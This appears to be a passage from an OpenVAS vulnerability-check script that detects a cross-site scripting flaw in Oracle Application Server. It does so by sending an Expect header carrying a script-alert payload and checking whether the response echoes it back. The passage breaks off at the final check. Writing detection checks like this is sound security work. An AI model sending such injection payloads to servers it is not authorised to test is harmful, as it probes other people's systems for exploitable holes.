## Get HTTP Port
port = get_http_port(default:80);
if(!port){
  exit(0);
}

## Confirm the application
banner = get_http_banner(port: port);
if("Server: Oracle-Application-Server" >!< banner ||
   "Oracle-HTTP-Server" >!< banner) {
  exit(0);
}

## Construct attack request
req = string("GET /index.html HTTP/1.1\r\n",
             "Host: ",get_host_name(),"\r\n",
             "Expect: <script>alert('openvas-xss-test')</script>\r\n\r\n");

## Try XSS Attack
res = http_keepalive_send_recv(port:port, data:req);

## Check the response to confirm vulnerability
if(res =~ "HTTP/1\.. 200" && "Expect: <script>alert('openvas-xss-test')</script>" >< res){
  security_message(port);
